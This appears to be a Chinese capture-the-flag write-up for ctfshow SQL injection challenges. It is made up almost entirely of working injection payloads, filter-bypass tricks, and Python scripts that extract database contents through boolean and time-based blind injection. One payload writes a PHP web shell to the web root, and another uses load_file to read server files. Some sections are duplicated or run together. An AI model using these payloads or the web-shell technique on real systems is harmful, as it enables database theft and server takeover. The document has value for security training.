查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
没有过滤,永真条件把数据库拿出来
Payload:
1' OR '1' = '1
web172
查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
无过滤,但限制username!='flag',直接查不可行,要用联合注入
1' order by 2 --+ #有回显
1' order by 3 --+ #无数据
用户名处为“1”,密码处为“2”
-1' union select 1,2--+
Payload:
库名
-1' union select 1,(select database()) --+
# ctfshow_web表名
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') --+
# ctfshow_user,ctfshow_user2字段
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user2') --+
# id,username,passwordflag
-1' union select 1,(select group_concat(password) from ctfshow_user2)--+
# 在最后一个
web173
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
直接查password
-1' union select 1,(select group_concat(password) from ctfshow_user3),3--+
用户名不出现flag(用hex编码一下)
1' union select id,hex(username),password from ctfshow_user3 --+
替换flag(替换f为g)
-1' union select id,replace(username,'f','g'),password from ctfshow_user3 where username = 'flag
web174
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
# @Author:Y4tacker
import requests
url = "http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v4.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
r = requests.get(url + payload)
if "admin" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
另解:
用replace函数替换数字
REPLACE() :将字符串中所有出现的子字符串替换为新的子字符串。
注意:此函数执行区分大小写的替换。
语法:
REPLACE(string, substring, new_string)
参数
描述
string
必需。原字符串
substring
必需。被替换的子串
new_string
必需。新的替换子串
Payload:
0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+
import requests
import string
url = 'http://2e5bbcf3-38df-43a5-b8a5-710f30ae9957.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_-{}'
out = ''
for j in range(1, 100):
a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位
for k in dic:
# payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&page=1&limit=10" # 猜数据库名
# payload = f"id=1' and if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" #猜表名
# payload = f"id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" #猜表名
# payload = f"id=1' and if(substr((select column_name from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5' limit 2, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" # 猜列名
payload = f"id=1' and if(substr((select password from ctfshow_web.ctfshow_user5 where username='flag'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" # 猜具体字段
# print(payload)
re = requests.get(url, params=payload)
time = re.elapsed.total_seconds()
# print(f"{j}:{time}")
if time > 2:
print(k)
a = 0 #如果找到字符,则将标志位置0
out += k
break #跳出内层的for循环,继续遍历下一位
if a == 1: #在进行下一次循环前,先判断当前字符是否找到
break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)
这里into outfile外带查询的数据出来
-1' union select username,password from ctfshow_user5 into outfile "/var/www/html/a.txt"--+
into outfile也能用来写马
-1' union select 1,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/sh.php' --+
连接不上可以选择勾选“忽略HTTPS证书”
这里要读数据库,需要用到蚁剑的“数据操作”功能
至于账号密码怎么来的,我们连上🐎之后能进api的文件夹了,里面有config.php
后面就是测库连库查flag了
web176
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
永真条件就判断所有都是对的了
Payload:
-1' or 1=1 %23
另解:
手测发现三个回显位,执行联合查询查不了,测试发现ban了select大写过滤就行Select
Payload:
?id=1' union Select 1,(Select group_concat(schema_name) from information_schema.schemata),database() --+
?id=-1' union Select 1,(Select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),3 --+
?id=-1' union Select 1,(Select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'),3 --+
?id=-1' union Select 1,(Select group_concat(password) from ctfshow_web.ctfshow_user),3--+
web177
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}
Payload:
999'or`username`='flag
规避匹配原则:对于preg_match返回值结果定义为0,1,即(未匹配,匹配)
web182
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}
这里给出了waf的名单,没有空格和select可用了,flag也被ban了,要考虑对查询语句动手了
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
利用逻辑运算的优先级构造 and 语句,绕过查询语句前面的 username != flag
Payload:
0'or(id=26)and'1
->
select id,username,password from ctfshow_user where username !='flag' and id = '0'or(id=26)and'1' limit 1;
-- 前面id=0不匹配,则会匹配id=26,and'1'恒真,无影响
-- limit 1只返回一条数据
最后变成这样并执行->
SELECT id, username, password FROM ctfshow_user WHERE username != 'flag' AND id = 26 LIMIT 1;
为了让 HAVING 能够生效,必须配合 GROUP BY 使用,用十六进制代替引号(需要加上0x)代表十六进制的前缀
把引号去掉直接十六进制内容
tableName= ctfshow_user GROUP BY pass HAVING pass LIKE 0x63746673686f777b25
对上面脚本进行修改:
import requests
import string
url = 'http://3dabb856-2ef4-4797-8ef5-5df6faace1fd.challenge.ctf.show/select-waf.php'
# 将原始字符转换为对应的十六进制值
dic = [hex(ord(c))[2:] for c in (string.digits + string.ascii_lowercase + '-{}')]
out = '0x63746673686f777b' # 已经确定的部分:flag头
for j in range(0, 50): # 为了确保flag完整输出,范围尽量大一点
for k in dic:
payload = {'tableName': f"ctfshow_user group by pass having pass like {out+k}25"}
re = requests.post(url, data=payload)
if '$user_count = 1;' in re.text:
print(k)
out += k
break
print(out) # 最后自己解一下十六进制即为答案
import string
import requests
url = "http://89463a4c-73a0-4eb7-bc52-ed12c47bf60b.challenge.ctf.show:8080/select-waf.php"payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(0x{})"true_flag = "$user_count = 43;"def make_payload(has: str) -> str:
return payload.format((has).encode().hex())
def valid_payload(p: str) -> bool:
data = {
"tableName": p
}
response = requests.post(url, data=data)
return true_flag in response.text
flag = "ctf" # 这里注意表中用 regexp('ctf') 只有一个结果,要提前给出这一小段 flag 头避免其他记录干扰匹配while True:
for c in "{}-" + string.digits + string.ascii_lowercase:
pd = flag+c
print(f"\r[*] trying {pd}", end="")
if valid_payload(make_payload(pd)):
flag += c
print(f"\r[*] flag: {flag}")
break if flag[-1] == "}":
break
#author:yu22x
import requests
import string
url="http://566df5e6-33d0-415f-99e8-3b28a149e67f.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(1,1000):
print(i)
for j in range(32,128):
#print(chr(j))
data={'username':f"if(ascii(substr(load_file('/var/www/html/api/index.php'),{i},1))={j},1,0)",
'password':'1'}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("\\u67e5\\u8be2\\u5931\\u8d25" in r.text):
flag+=chr(j)
print(flag)
break
import requests
import string
url = "http://55420a88-20cf-4283-a564-9ac21e281125.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
print(j)
for k in range(32, 128):
data = {
#'username': f"0'||if(ascii(substr(database(),{j},1))={k},1,0)#", #数据库名
#'username': f"0'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",#表名
#'username': f"0'||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#",#列名
'username': f"0'||if(ascii(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",#字段
'password': '1'
}
re = requests.post(url, data=data)
if ("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += chr(k)
print(out)
break
import requests
import string
url = "http://6304ee7e-76c4-426e-ae85-924e412830b9.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
print(j)
for k in range(32, 128):
# 猜解数据库名
data = {
# 'username': f"0'||if(ord(substr(database(),{j},1))={k},1,0)#",
# 'username': f"0'||if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",
# 'username': f"0'||if(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#",
'username': f"0'||if(ord(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in re.text:
out += chr(k)
print(out)
break
另解:
不用 ascii 也可以直接用大于号比较字母的 ascii 大小
# 用了二分法 dejavu~~~
import requests
url = "http://6304ee7e-76c4-426e-ae85-924e412830b9.challenge.ctf.show/api/index.php"
# 表名 CtFsHOw{FL0G,CtFsHOw{usEr
# payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
# 列名 ID,F1AG,ID,usErNAME,pAss
# payload = "0' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
# flag
payload = "0' or if(substr((select f1ag from ctfshow_fl0g),{},1)>'{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef" # “密码错误” 标识符
result = ""
index = 1
while True:
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload.format(index, chr(p)),
"password": 0
}
response = None
while True:
try:
response = requests.post(url, data=data)
except:
continue
break
if true_flag in response.text:
start = p
else:
end = p
if end < start:
end = start
result += chr(end)
print(f"[*] result: {result}")
index += 1
import requests
url = "http://c7b89989-5634-40e7-8c57-57e0ed663dee.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz'
for j in range(1, 50):
print(j)
for k in dic:
data = {
'username': f"0'||if(substr((select f1ag from ctfshow_fl0g),{j},1)='{k}',1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += k
print(out)
break
import requests
url = "http://7b01f424-808c-4957-9c17-b8612f0163ef.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
print(j)
for k in dic:
# 查数据库名
# data = {
# 'username': f"0'||if(mid(database(),{j},1)='{k}',1,0)#",
# 'password': '1'
# }
# 查表名
# data = {
# 'username': f"0'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{j},1))='{k}',1,0)#",
# 'password': '1'
# }
# 查列名
# data = {
# 'username': f"0'||if((mid((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flxg'),{j},1))='{k}',1,0)#",
# 'password': '1'
# }
# 查具体字段
data = {
'username': f"0'||if((mid((select f1ag from ctfshow_flxg),{j},1))='{k}',1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if ("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += k
print(out)
break
另解:leftright函数也能替代substr的功能,只不过输出方式有些不一样
替换上面脚本对应部分(主要注意left和right输出方向是相反的,因此输出部分需要改一改):
# left
data = {
'username': f"0'||if((left((select f1ag from ctfshow_flxg),{j}))='{out+k}',1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += k
print(out)
break
# right
data = {
'username': f"0'||if((right((select f1ag from ctfshow_flxg),{j}))='{k+out}',1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out = k + out
print(out)
break